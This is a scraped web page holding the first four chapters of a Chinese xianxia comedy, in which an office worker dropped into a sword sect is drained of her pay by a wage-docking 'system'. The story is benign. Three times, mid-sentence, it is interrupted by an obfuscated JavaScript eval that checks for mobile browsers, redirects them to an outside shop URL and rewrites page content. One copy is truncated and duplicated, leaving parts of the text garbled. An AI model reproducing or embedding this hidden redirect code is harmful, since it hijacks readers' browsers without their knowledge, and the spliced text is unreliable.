《强取豪夺后给我交社保了吗》 1. 送药 “叮——”刚在寝舍躺下的孟知匀再度听到了熟悉的消息提示音,她生无可恋地睁开眼睛,手指在虚空中一点,才被清空的系统待办果然又冒出来一个新的小红点。 “前往丹药斋协助送药。” 可能是看时间已晚,系统又非常贴心地发来一封邮件,提醒她如果不按时完成待办,将扣除本月全勤奖和相应的工资系数,月度绩效直接打C。 孟知匀躺在床上默默叹息,然后提起一口气,行尸走肉般从床上爬起来,草草穿上外衫就出了门。 外面下了蒙蒙小雨,住她隔壁的薛逢梨正抱着一个药盒开门,听到动静才抬头看到她,问道:“师姐,你怎么大晚上还出门啊?” 对啊,她也想知道,为什么大晚上冒着雨还要出门干活啊。 完全没人性的傻x系统。 孟知匀扯出一点笑:“想起来还有点事情没做完。” 随后她又看了一眼薛逢梨手里抱着的药盒,问道:“你不是下山送药去了吗?” 薛逢梨抿了抿唇,整个人显得失魂落魄,低声道:“去晚了,那户人家说那个女子前几天就自己跑出去了,没再回来。” 药盒里的凝神芝是孟知匀陪她一起在药田里亲手栽培出来的,能够助人静心凝神,俩人勤勤恳恳忙活了一个月,本来是想给山下平松县李家的疯儿媳治疗疯病的,没想到还是晚了一步。 孟知匀叹了口气,拍拍薛逢梨的肩膀:“尽人事,听天命,你已经尽力了。” 薛逢梨抹了抹泛红的眼角,点了点头:“师姐你去忙吧,我没事的。” 看了看外面的夜色,孟知匀也没时间再多安慰她什么,随手捏了个避雨诀就冲进了雨幕里。 丹药斋离弟子们居住的寝舍不算近,她只能左手捏着避雨诀,右手聚气御风,加快速度赶了过去。 负责管理药田和丹药斋的薛腾是掌门的师叔,也是钟粹山全宗门上下辈分最大的修士,所以孟知匀一进门就乖乖叫了声:“师叔祖。” 老爷子正在百子柜前给几个来丹药斋轮值的弟子分配丹药,见了来主动帮忙的孟知匀,反而一捋胡须,横眉冷对:“这个月又不是你当值,大晚上不睡觉不修行,又跑来干什么?” 孟知匀知道这老头嘴硬心软,自己受无良系统压榨驱使的事也有苦说不出,只能腆着脸凑过去,笑道:“这不是掐指一算,算到师叔祖今天需要我帮忙,这才冒雨赶过来嘛。” 薛腾往外看了看,刚刚还蒙蒙的细雨已经变成了瓢泼大雨,虽说知道修行中人不怕雨淋,但还是不由分说地心软了几分。 他“哼”了一声,向那几个轮值弟子问道:“还有哪处的丹药没安排去送?” 偷偷拿余光看孟知匀的弟子这才回过神,脸颊泛红地指了指名册上的地点:“还有要去百剑峰给薛昱师兄送的伤药。” 薛腾一听这个名字,气得胡子又翘了点:“你们这一个两个的,又是沉迷给人打杂、又是被陈年恩怨迷了头,白白浪费了这么好的天资!” 其中一个轮值弟子忙打圆场,把装着伤药的盒子递给孟知匀:“百剑峰的入口设有禁制,得天资极高或者修为达标的修士才能进入,我们几个估摸着是进不去,劳烦孟师姐了。” 孟知匀接过药盒,冲薛腾行了一礼:“师叔祖,那我先去送药了。” 不等老头子再出言刺她,孟知匀转眼间就没了身影。 薛腾把手里的册子往桌子上一扔,捋着胡须叹息道:“真是看不到钟粹山的未来。” * 孟知匀拿着药盒在雨中御风,心想薛昱这个名字怎么莫名其妙有点耳熟,她冥思苦想了一会,才一拍脑门想到出处。 她记得她上次忍无可忍打算“裸辞”,趁着下山执行任务的时候直接跑路,结果这该死的系统居然封了她的灵脉,还让她成了流民,进不了城,之前偷摸着攒下的白银一夕之间全都消失不见了,更过分的是,这无良系统还吞了她的存款、断了她的社保。 导致她只能在山野之间当野人,靠吃野果和野菜勉强过活,后来好不容易被一个附近的小宗门接济,结果馒头还没吃完一个,人家仇家寻来了,慌乱之间只能让她钻狗洞出逃,后来饿晕在半山腰,醒来的时候就回到了钟粹山。 特意来照顾她的薛逢梨说是二少主薛昱救她回来的。 孟知匀低头看了一眼药盒,心想给他送药也算偿还了几分救命之恩吧。 主要现在她囊中羞涩,总不能把自己的巨额房贷送给人家。 她手指微动,系统上显示出了她目前的全部身家: 房贷:92.72两白银 已缴纳社保:2两白银 底薪:5两 绩效:3两(包含全勤奖) 总存款:0.72两白银 好一个负跪逼人呐! 她就搞不明白了,她周一早上好好地坐地铁上班,怎么小眯了一会儿后醒来就到了这么个鬼地方,该死的系统还非常贴心地给她发了一封邮件,说她已经因不可抗力在原世界死亡,系统出于人道主义精神把她带到了这个修真世界,并给了她三大宗门之首钟粹山的外门弟子的身份,还给了她住处,所以她应该偿还100两白银的房贷。 孟知匀从没想到,自己都已经死了,到了传闻中的修真界,居然还他爹的要当牛马打工,甚至莫名其妙背上了巨额贷款。 而且这个系统,比起她的领导简直是有过之而无不及:不仅要求她二十四小时待命,驱使着她在全门派上蹿下跳地打杂,还时不时给她画大饼,每月发一封安抚邮件,告诉她只需要再交20年社保,把社保资金池积累到300两白银,她就可以退休了呢。 除此之外,明明门派内部吃饭、看病都是免费的,系统却按照饭菜和丹药的内部价扣她的钱,还美名其曰:她不是该世界的本土人,扣除的钱是按照交了社保的优惠价。 哇,对她真是太好了呢。 孟知匀咬牙切齿地看着那个“0.72”的存款,心想自己天天吃糠咽菜居然也剩不下什么钱。 没等她把新的省钱方案想出来,百剑峰如水墨画般的轮廓就在她眼前显现了出来。 百剑峰的入口是一条水流湍急的瀑布,上面浮现着流动的银色剑铭,远远看着就能感受到其中蕴藏的隐隐剑意。 孟知匀之前没来过百剑峰,但是她的天资奇佳,所以进去应该不成问题。 她提气御风到了瀑布旁边,伸出一根手指小心翼翼地触碰了一下浮在流水上的剑铭,不等她反应过来,一股强大的吸力就将她直接吸进了瀑布内部, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165227|196678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还无视她的避雨诀,劈头盖脸地浇了她一身水。 很像是被这座山囫囵吞枣咽进肚子里。 啧,小馋猫。 孟知匀一边内心吐槽,一边皱着眉头闻了闻自己的衣袖,没闻到什么莫名其妙的味道,这才松了口气,开始打量百剑峰的内部。 据说百剑峰是钟粹山薛家的发家之本,是全天下灵气最充沛、最古老的一个通灵宝地,里面供奉着薛家历代修士的佩剑,还有从天下各地收集来的名剑,所以让以此为根基修行的钟粹山成了三大宗门之首,薛家剑修的实力也往往跻身于同辈修士的中上流。 因此钟粹山是全天下的剑修都心向往之的修行圣地,如果不是山门前设有云雾阵,估计会被纷纷攘攘的修士踏破门槛。 百剑峰里面有千百年来每一个钟粹山剑修留下的一道剑气,在洞天灵气的滋养下,这些剑气里残留的一丝原主人意志逐渐苏醒,可以给前来修行的后辈子弟喂招,还自发形成了一个万剑灵阵,除此之外,山体内部有数不清的小洞天,越靠近山巅的洞天灵气越充沛,围绕在其周围的剑气也越霸道。 孟知匀没在清醒的时候见过薛昱,所以也无从根据他的气息寻人,只能抱着药盒从底部洞天开始找。 不等她进入小洞天,一道泛着幽蓝的剑气劈头就朝她砍来。 孟知匀的困意被这一下横扫了大半,腰身往后一折,堪堪躲过了这突然一击,然后从旁边的桦树上随手折了根树枝下来,回手迎上那道卷土重来的剑气,脆弱的树枝居然未曾断裂,只落了一片叶子下来。 那道剑气不知道是哪位好战的前辈留下的,见两次攻击都未能击败眼前的少女,居然将一道剑气分裂成了数十道小剑气,朝着孟知匀就冲了过去。 孟知匀心里惦记给给人送药,根本不想恋战,见这剑气缠着她不放,直接足尖轻点身旁的松树,往山上的下一个洞天掠去。 然而这道剑气丝毫不想就这么放她过去,幽蓝的光像数十道速度极快的流星,带着凛冽的剑意就朝她砸去,还分了两道阻拦了她的去路。 孟知匀一手抱着药盒,一手握着桦树枝,催动自己的灵气,在令人眼花缭乱的攻势中逐一格挡剑气,身姿如春日杨柳,恰到好处地擦着猎猎寒风躲过攻击,手中的树枝陡然萌出了几片新芽,带着春风化雨的温润消解了朔冬的严寒。 那道剑气这才收了攻势,带着幽蓝的光围着她转了一圈,向下一头扎进了百剑峰山脚的寒潭里。 一跳入潭,毫无水花,可以打十分。 目送剑气消失的孟知匀丢掉桦树枝,抹了抹脑门儿上的汗。 她最近天天被系统驱使去打杂,甚至没多少时间用于修行,这一手“枯木逢春”只是春晓剑入门级别的剑术,在她手里大约就使出了四五分的威力。 好在这剑气估计也就是逗她玩玩,应该不会跑去跟她师父告状。 不等她彻底松下一口气,空荡荡的山间突然传来一声嗤笑。 孟知匀抬头看去,只见一个容貌精致的青年抱臂靠在一旁的石头上,周身气质冷冽,让人看一眼就觉得骨头发冷。 她冒着寒意上下打量了一眼,心想这肩宽腿长的大美人不会就是薛昱吧? 还有,他什么时候来的?不会跑去跟她师父告状吧? 2. 切磋 孟知匀见对方没有主动搭话的意思,只一味盯着她看,心里有几分毛骨悚然,只得问道:“请问是薛昱师兄吗?” 薛昱挑了下眉:“哦?你认得我?” 孟知匀见对方愿意回话,这才松了口气,上前一步,将药盒递了过去:“听丹药斋的人说师兄在百剑峰,派我来送伤药。” 薛昱接过药盒,垂眸扫了一眼,对她颔首:“有劳了。” 孟知匀几经观察,感觉对方不似一开始表现出来的那样冷峻,便道:“听逢梨说,两月前是师兄救我回来的,一直想当面道谢,却未能遇见师兄,好在今日得见,让知匀得以谢过师兄的救命之恩。” 钟粹山的剑修向来以“来无影、去无踪”闻名,不仅外人难寻其踪迹,就连本门派的自家人也往往十天半个月见不着人,所以她这番说辞倒也说得过去。 她朝对面之人真心实意地行了一礼,随后又感觉自己的谢意似乎太轻,便补上一句:“来日师兄若是有需要帮忙的地方,只管叫我便是。” “不用谢,小事而已。”薛昱看着她如今一本正经的模样,脑海里浮现的却是那日在树下蜷缩成一团、浑身脏兮兮如流浪猫般的少女,两厢反差过大,让他的唇角不免有些上扬。 “那就不打扰师兄修行了。”孟知匀刚刚瞥了一眼自己的待办,发现仅片刻功夫,系统就又给她安排了整整三个杂活,心里有些麻了,只想赶紧干完活回去躺一会儿。 薛昱却忽然道:“且慢。” 他伸手从一边的树上折了两根树枝下来,缓缓走到孟知匀身边,递给她一根:“方才见你与峰内一道霜雪剑剑气缠斗,似乎对春晓剑的剑意颇有独到见解,不知师妹今日肯不肯赏脸与我切磋一番?” 钟粹山薛家四时剑法闻名天下,以春晓剑、九夏剑、秋水剑、霜雪剑四路剑术为基的四时剑阵更是天下无双,奠定了钟粹山千百年来稳居宗门之首的基础,使其成为了悬在天下剑修头顶的一座难以逾越的大山。 孟知匀被系统拉入这个世界后,莫名其妙就成为了翠微长老的弟子,开始随其修习春晓剑,期间无一人怀疑她的身份。 除此之外,虽说她只是个外门弟子,不是薛家本家人,但是钟粹山向来不看重出身,对内、外门弟子一视同仁,加之她天资卓绝,在一开始很是得翠微长老的青眼。 可惜后来系统一日赛一日地压榨她,导致她没多少时间修行,已经隐隐让她师父有了几分不满。 偏偏系统的绩效考评还要看翠微长老对她的修行成果是否满意。 月末考核,危。 感觉自己的绩效工资已经如流水般从手中滑落,孟知匀露出一抹苦笑,准备婉拒薛昱的邀约,她已经承担不起再失去全勤奖的后果了。 可不等她把话说出口,刚刚还在她脑海里“滴滴滴”响个不停的待办提醒突然静音了。 她手指微动,发现一连三个待办都消失,只剩下一个“陪薛二少主切磋”的任务,甚至没有像别的待办那样设置截止时辰。 太好了,比起天天打没用的杂,她还是更喜欢修行。 薛昱看她的脸色在短短几分钟内由晴转雨又转晴,心里很是稀奇,正寻思着这人指不定会找个什么借口拒绝自己,就见孟知匀接过了他手里的树枝,眉目舒展地冲他行了个执剑礼:“那就请师兄指教了。” 有意思,这人不仅七情上脸,心情还挺变化多端。 薛昱也行了个执剑礼,然后缓缓握紧了手中的树枝,一道寒气从他掌心荡开,让刚刚还带有几分生机的树枝转瞬间便成了枯枝,披上了一层厚厚的寒霜,像是冬日里折下的雾凇玉枝。 孟知匀忍不住看了一眼那根树枝,五指不禁攥紧了掌心的树枝。 据说眼前这位二少主是当下这一辈中天资最好的修士,十四岁就在百剑峰的藏剑洞天中拔出了从未入世的百年名剑“雾凇”,其剑气更是霸道无匹,年纪轻轻便有“一剑寒五州”的威名。 如果说钟粹山上一辈中最负盛名的是掌门修习的九夏剑,这一辈则无疑是薛昱修习的霜雪剑。 当然,如果没有傻x系统天天逼她去打杂,那她的春晓剑倒也不是不能争一争此间排名。 孟知匀闭了下眼睛,随后如蒙蒙春雨般无声潜入了百剑峰的浓郁灵气中,手中的树枝转瞬间萌出了几片新芽,盎然的春意随着她的身形笼罩了静止不动的薛昱。 随风潜入夜。 只可惜带来生机的春雨尚未落下,一股带着凛冽寒意的朔风便卷着漫漫雨丝将其上了冻。 二人在转瞬间便过了十几招,葱翠的绿意和料峭的寒风在树枝相对时互不相让,颇有岁末之时冬春交融的更替之感。 薛昱的修为比孟知匀强了何止几倍,但他无意在修为上占人便宜,便刻意只从剑术上与人切磋,倒是从中窥得了春晓剑别样的剑意。 以往他人的春晓剑,重在百花盛放,往往场面曼妙而威力不足,而眼前人的剑意竟着重在“萌芽”和“破土”,其间的生命力蓬勃锐意,倒是此生罕见。 孟知匀看自己手中的树枝已被染上了半根的寒霜,掌心聚力,仍旧迎上了那锐不可当的寒风,果不其然,苦苦支撑了许久的树枝玉碎一般成了满地的雪渣。 孟知匀输了也不觉得失落,反而感觉痛痛快快打一场十分肆意快活,让她在打杂中蒙尘许久的上进心活了稍许,便真心实意地笑了笑:“师兄果然是剑道奇才。” 薛昱却把手中的树枝横在她眼前,被霜雪包裹着的枯枝上不知何时竟长出了一个小小的绿叶。 他轻笑了一声:“你也没输。” 孟知匀看到那一小片倔强的芽,唇角抑制不住地上扬,随口扯淡道:“这一招叫——” “润物细无声。” 不等薛昱再说些什么,孟知匀便打了个哈欠,拱手告辞:“时候不早了,多谢师兄今日指教,我先走了。” 薛昱应了一声,随后便见这人转瞬间就没了身影,也不知道是赶着去做什么。 他又低头看向树枝上那片绿叶,纤长浓密的睫毛在眼下落下一片阴影。 几道剑气“唰唰”围了过来,像极了一群看热闹不嫌事大的老不正经。 死了不知道几百年了,偏偏在剑气里留下的零星意识还这么八卦。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165228|196678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 薛昱撩起眼皮瞥了一眼,手指一旋,将树枝收了起来,散漫地靠在一旁的树上:“她拜入钟粹山不过半年,已比你们不差多少。” “我看——” “不如你们也一起进寒潭里凉快凉快吧。” * 孟知匀有点纳闷,自从她和薛昱切磋完,系统居然整整一个晚上没给她派活,甚至她半夜从梦中惊醒,幻听有系统提示音,虚空点开面板后发现待办空空如也,真是奇了怪了。 不过好歹让她难得地睡了个囫囵觉。 第二天一早,她刚在饭堂啃完一个包子,脑子里准时响起了熟悉的提示音。 这下对味儿了。 “协助薛臻虞通过三日后的门规考试。” “协助养剑堂前往百剑峰更换蕴灵池泉水。” “协助……” 一连蹦出来五条待办,直接把她今天从早到晚的时间都排得满满当当。 孟知匀三两下把自己的包子啃完,拿着自己崩了个豁口的破剑就离开了饭堂,只留下一堆看她风风火火来了又去的钟粹山弟子面面相觑。 “孟师姐又忙着去帮人干活了吗?”有人忍不住问了一句。 “大概是吧,你知道的,孟师妹最乐于助人了。” “可是翠微长老明日要剑术考核,师姐天天帮人做事,有空练习剑术吗?” “唉,天才的事你我这种庸才就少管吧!你忘了她上次临时练了两下就把我们打趴下的事吗?” “也是,我们饭后继续去见春峰练剑吧。” 孟知匀当然知道自己现在的样子在钟粹山算个异类,向来剑修都是修士中最为醉心修行的那一挂,一个赛一个地不惹凡尘俗世,平生最怕除了修行外的杂事,她倒好,拜入宗门以来,修行没修几天,一天天净给人跑腿打杂了。 可她有苦难言啊。 要是身上没这个傻x系统,她恨不得也跟霜雪剑那一派一样走不食人间烟火的路子,天天往百剑峰一钻,谁都别想找到她。 思索间,她已经御风到了藏书阁门口,向门口的轮值弟子出示了宗门腰牌。 “普通弟子只能借阅一、二层藏书,不可前往三、四层禁书区。”轮值弟子照例提醒了一句。 孟知匀点点头,收起腰牌走进了藏书阁。 钟粹山藏书甚众,因为和其余两大宗门一直保持着友好关系,甚至还留有桃花潭苏家和万听谷萧家曾经送来的藏书,补全了其在医药和音律方面的不足。 绕着一楼走了好几圈,她才在一个不起眼的角落里找到了抱着书挠头的薛臻虞。 “怎么,第六次补考还没过吗?”孟知匀在他身边蹲下。 薛臻虞背门规已经背得头昏脑涨,抬头突然看见救星,刚想站起来,结果腿一软直接给人跪下了。 “哎哎哎,不用行此大礼。”孟知匀被他吓了一跳,一把将人捞了起来。 薛臻虞修习九夏剑,肤色比一般人要深一点,两行清泪下来简直惨不忍睹,抓着孟知匀的袖子就开始嚎叫:“师姐,你真得救救我,我爹说这次补考再不过他真要打断我的腿啊!” 3. 门规 孟知匀在临窗的地方找了一方小桌子,把厚厚的几册门规堆到了桌子上,看向还在抹眼泪的薛臻虞:“说说吧,这次错了几题?” 薛臻虞身高八尺,素来气宇轩昂,偏偏此时被磋磨得佝偻着身体,满脸泛着苦意,支支吾吾道:“有几题……有好几题都和师姐给我默出来的不一样……” 钟粹山由于地处北凛州,且山势崎岖,气候较为寒冷,所以钟粹山弟子往往肤色白皙,偏偏修习九夏剑的这一脉不知为何肤色较深,加之脾性火爆,平日里总是以金刚怒目的形象出现,如今薛臻虞突然一副面红耳赤、要哭不哭的模样,把孟知匀骇得差点坐不稳。 门派重视规训弟子,要求必须通过门规考核才能成为正式弟子,正式弟子在修为达标后方可进入百剑峰拔剑。 而薛臻虞,虽然是槐序长老的亲生儿子,但是自他十岁开始考门规起,如今已经过去四年了,考了整整六次,竟一回也没通过,气得槐序长老痛揍了他无数次,导致现今薛臻虞看见“门规”两个字就两股战战,感觉他爹的剑鞘已经隐隐招呼了过来。 “我不是跟你说了嘛,你记忆力不好,死记硬背不可取,每条门规背后必有其深意,要试着去理解它们背后的逻辑。”孟知匀清了清嗓子,翻开第一册门规,“比如这一条——不可在饭堂外生火造饭,你知道为什么吗?” 薛臻虞木木地摇了摇脑袋。 “因为曾经有两个弟子打了几只野兔,在夏荷峰生火烤兔肉,结果不小心引燃了旁边的枯木和落叶,导致火势连绵,差点把峰上灵池里的百年雪荷给烧没了,门规里这才加上这一条。”孟知匀手里握着根毛笔,简单把原因给他批注在了旁边。 “谁啊?怎么这么冒失,居然是修习九夏剑的前辈吗?”薛臻虞被她引起了兴趣,忍不住问了一句。 孟知匀意味深长地看着他:“远在天边近在眼前,正是——” “你爹。” “什么?”薛臻虞“噌”地一下站起来,差点把椅子给掀倒,眼中的求知欲从未如此旺盛,“师姐你可莫要说笑,这……真是我爹干出来的事儿?” “这有什么好诓你的,你大可以去打听一下,不过得小心别被你爹知道,不然你屁股又要开花了。” 孟知匀手里捏着根细长的毛笔就忍不住转笔,好在她及时用灵力收敛了墨汁,这才没把两个人甩成大花脸。 薛臻虞拉着椅子往她旁边凑了凑:“那还有哪条是跟我爹相关的,师姐你先给我讲讲。” “喏,还有第十四条、第二十八条、第五十四条……” 孟知匀下笔“唰唰唰”就圈了十几条出来,看得薛臻虞十分心惊,唇角的弧度却是怎么也压不下去。 他从小到大没少挨他爹的打,动辄就被冠上“竖子无状”“顽劣不堪”等罪名,估摸着最明白他爹雷雨剑威力的,不是天下间的妖魔鬼怪,而是他薛臻虞。 尤其是那剑鞘的硬度,是他日复一日拿屁股丈量出来的! 没想到啊没想到,他爹年少时居然比他还要不像话,他好歹只是不遵门规,他爹倒好,活活让门规添上了十几条! 这么一想,他学习门规的热情简直空前高涨。 嗐,这哪是什么门规啊,这分明是他家老薛的罪证集!下次再挨打,他少不得要在心里暗暗笑话他! 还骂他顽劣不堪,他这个当老子的年轻时还不如他乖巧呢! “除了槐序长老,这几条是关于翠微长老的,那几条是关于岁寒长老的,哦,这一条是关于玉露长老的,还有几条是关于掌门自己的。”孟知匀言笑晏晏,出手却如阎王勾划生死簿,把钟粹山如今几个位高权重的话事人的老底通通揭了出来。 薛臻虞目光如炬,求知若渴地看着面前厚厚的门规:“几位长老,竟也会犯这么多错误吗?” “人非圣贤,孰能无过。”孟知匀转了几下笔,“我师父当年第一次进戒律堂的时候,还让几位长老的脑门上通通长了朵妖艳的红花,气得上一任掌门拿着戒尺追着她跑了半个山头。” 薛臻虞“噗嗤”一声笑了出来,一只手还“哐哐”拍起了桌子:“没想到翠微长老……竟……竟如此有趣!” 孟知匀第一次听师叔祖说起这些往年趣事的时候也不怎么相信,于是她索性在师父面前施展了这个灵术,让几个师姐妹、师兄弟的发髻上通通长了片绿叶,她师父果真变了脸色,当即出手如风地把这几片叶子给薅了下来,罚她让见春峰上四十五棵桦树都开满春花。 她后知后觉,师父倒不是因为她戳破陈年旧事罚她,是因为她让别人脑门上见绿罚她! 孟知匀收回心绪,把密密麻麻批注好了的门规递给薛臻虞:“这下可记牢了?” “自然!要是灵微先生在课堂上也这么讲,我哪需要补考这么多次!”薛臻虞捶胸顿足,颇有和孟知匀相见恨晚的遗憾。 “行了行了,”孟知匀伸了个懒腰,站起身,“你自己再用心记一记吧,我还有别的事情要忙,告辞了。” 薛臻虞忙起身送她:“师姐慢走!等我这次考过了,我请你去山下钟灵郡吃好吃的!” 孟知匀冲他摆摆手,走到门口才听到这小子补上的那句—— “我请你吃烤兔肉啊师姐!” 孟知匀忍俊不禁,出门时没注意门槛,差点一头栽进别人怀里,得亏被人攥住胳膊一把扶了起来。 但是她的脑袋因为惯性,不可避免地撞到了迎面碰上的胸肌上。 梆硬。 她脑瓜有点嗡嗡的。 “没事吧?”如山间寒泉般清透的嗓音,她似曾相识。 孟知匀晃了晃脑袋,捂着脑门抬起头,正对上一双清凌凌带着点寒郁的眼睛。 怪不得她突然觉得有点冷,原来是碰上霜雪剑了。 “没事。”她赶紧往旁边退了半步,识趣地没再堵着门,“抱歉,刚刚没看路,不小心撞到师兄了。” 薛昱眼下似乎心情欠佳,过度漂亮的脸上浮着一层寒气,闻言却看了看她捂着的脑门:“很疼?” 孟知匀下意识摇了摇头,然后发现自己的动作不怎么有说服力,就把手放了下来,尴尬地咳了几声:“没事,我脑门天生就比较硬。” 薛昱又意味不明地笑了一下,把那瓶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165229|196678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没用完的伤药塞给她:“赔你的。” 话罢,不等她再说什么,这人就自顾自出示腰牌进了藏书阁。 孟知匀微微眯了眯眼睛。 薛昱居然有两颗尖尖的虎牙,有点可爱。 当然,这不是重点。重点是——他去四层的禁书区干什么? 她看了看头顶的大太阳,提气御风往饭堂赶去,心里却忍不住一直琢磨这件事。 薛昱作为掌门的亲生儿子,下一任掌门的亲弟弟,钟粹山薛家的二少主,有禁书区的阅览权限倒没什么稀奇,关键是,据说藏书阁四层放着的都是从山下邪修那里缴获的邪门术法。 正邪不两立,以三大宗门为首的名门正派走的是吸纳天地灵气修行的路子,而不入流的邪修走的则是杀人夺宝的邪路,他们中间十有八九的修为不是自己实打实修行得来的,是靠着歪门邪道从别的修士那里掠夺来的。 但是灵气是修士修行之本,从旁人那里得来的灵气到底已被打上了别人的烙印,所以这些邪修走火入魔的概率极高。 依孟知匀看,其间估计不乏有一些精神分裂的精神病患者。 * 今日的午饭主菜是人气极高的锅包肉,不到午时饭堂便排满了来打饭的弟子。 孟知匀咽了口口水,到门可罗雀的窗口要了碗米饭配咸菜,看着系统上“-12文(合0.012两白银)”的扣款通知,她心如滴血地开始扒饭。 “师姐。” 话音未落,一碗锅包肉被放到了她面前。 孟知匀把嘴里的米饭咽下,抬头就看到了一张青春阳光如男高的脸。 虽说她拜入钟粹山不过半年,但是她算是翠微长老的关门弟子,天资又高,所以在门派内辈分比较高,年龄比她小的弟子,大多要叫她一声师姐。 薛停在她对面坐下,并把锅包肉往她这边推了推:“我来得早,帮薛涛打了一碗,结果左右等不到他人,这碗就麻烦师姐帮我解决吧。” 孟知匀伸手试探了一下,发现“扣款通知”简直呼之欲出,她立刻收回手,摇了摇头,咬牙切齿地拒绝:“不必了,我不爱吃肉。” 薛停也不勉强,余光扫了一眼还在大排长队的薛涛,心想这次真是便宜他了。 “师姐现在是在辟谷修行吗?”看着孟知匀面前的咸菜,薛停忍不住问道。 哈哈哈,何谈辟谷啊,她只是穷呐! “嗯。”孟知匀高深莫测地点了点头,“书上说,体态轻盈则心境渐高,于修行之道可事半功倍。” 薛停蹙眉:“但是不吃饱怎么能拿得动剑呢?何况掌门和各位长老师叔们都未曾提过要我们辟谷修行,师姐天资又如此高,大可不必走这样的苦路子。” 孟知匀一肚子苦水说不出,只觉得碗里的米饭更味同嚼蜡了。 啊,这锅包肉的味道怎么这么重,熏到她了!熏到她了! “多谢师弟挂怀。”她停了筷,只想快点逃离锅包肉的诱惑,拿着破剑就要起身离开,“我午后还要去养剑堂,先走了。” 薛停看着她快步离开的背影,忍不住握紧了手中的筷子。 4. 疯妇 当今天下分五州,山下普通人以皇室为尊,居中州,钟粹山薛家在北凛州根基深重,桃花潭苏家在云梦州颇有威望,万听谷萧家则在南华州享有盛名,剩下一个西北的西漠州由于气候恶劣、民风彪悍,向来是一个无宗门愿意驻扎的三不管地区,连皇家都只设置了一个名存实亡的西域都护府,多年未曾派遣官员前去管理,导致此地成为了妖魔鬼怪和邪修盘踞的大本营。 多年来皇室和三大宗门互不干涉,皇家每年向宗门献上供奉,三大宗门则在中州天启郡设下护卫法阵,保护皇城不受妖邪侵犯,并在民间的各大郡设有“钟楼”,派遣轮值弟子驻守,帮助凡世处理大小涉及修真界的事务。 轮值弟子主要职责是向自家宗门传递消息,具体事务则由宗门安排弟子下山执行。 孟知匀挺喜欢出外勤的,虽说钟粹山弟子50两的月俸和丰厚的出差补贴都被系统克扣走了,但是她通过寥寥几次出外勤的经历,发现离宗门越远,系统对她的干扰和影响就越小,就跟信号有延迟一样,每次她因任务下山,往日里“滴滴滴”响个不停的待办竟通通都偃旗息鼓了。 想来也是,系统派遣她干的杂活都是宗门内部事务,她人都不在山上了,总不能让她临时又跑回山上打杂吧? 此系统虽然毫无人性、酷爱压榨、面目可憎、朝令夕改、自私小气、令人作呕,但是好歹逻辑尚存,不会跟门规对着干。 孟知匀觉得自己有必要在明天的月末考核上好好表现,只要把师父哄高兴了,她就能争取到更多出外勤的机会。 她看了看密密麻麻的待办,深深吸了一口气,心想大不了今晚不睡了,临时抱佛脚再修行几个时辰。 然而计划赶不上变化,当她紧赶慢赶在晚上十点之间完成了全部待办,刚想回去小眯一会儿后再去见春峰练剑,就在寝舍门口看到了坐在台阶上等她的薛逢梨。 年方十五的少女,生得杏眼桃腮,单是拿泛着水意的眼睛看她一眼,就让人狠不下心拒绝。 孟知匀把自己的破剑往旁边一搁,挨着她坐下:“怎么了?大晚上不睡觉。” “师姐……”薛逢梨抱住她的胳膊,还没说什么,注意力就被她的剑吸引了,“你怎么还在用这把剑啊?我记得剑刃上有好几个豁口呢。” 嗐,那还能为什么,穷呗。 养剑堂里陈列着许多好剑,以供他们这些没有得到本命剑的弟子取用,虽说品质远不如百剑峰里的名器,但品质都属当世上乘。 她一开始修行的时候下手没个轻重,不出三天就把剑刃崩了个豁口,当时想着去养剑堂薅羊毛换一把,结果她刚拿起一柄剑,系统就要给她扣上60两白银的买剑钱。 她当即把剑放了回去,抱着自己刚刚扔下的破剑,灰溜溜地走了。 孟知匀不动声色地把剑往身后藏了藏:“没事,又不是本命剑,怎么都能用,我懒得去换了。” 薛逢梨见她不想解释,便没有再追问,转而说起了自己的心事:“近日来,我总是梦到那日在山下遇到的……那个女子,要是我再早几日把凝神芝给他们送过去,或许她便不会疯跑出去了,如今外面妖魔林立,她一个失了神智的弱女子,怕是……凶多吉少。我一想到这个,就心里难安……” “师姐,你说我当日是不是做错了?我不该让她的家人就那样把她带回去,若是我将她带回钟粹山……” “说什么傻话呢。”孟知匀打断她,“门规不许私带凡人入山,没有戒律堂的千里音,她也走不出山门前的云雾阵。” 话罢,看着小师妹泛红的眼圈,孟知匀摸摸她的头,劝慰道:“这本来就是人家自己的因果,我们没有干涉的道理。” 薛逢梨抿了抿唇:“但是那日就是让我遇到她了,我却什么都没能为她做。” 她现在一闭上眼睛,脑海中浮现的就是那日,那女子向她投来的求助般的目光,以及最后她被家人强行带走时,那种心如死灰的麻木神态。 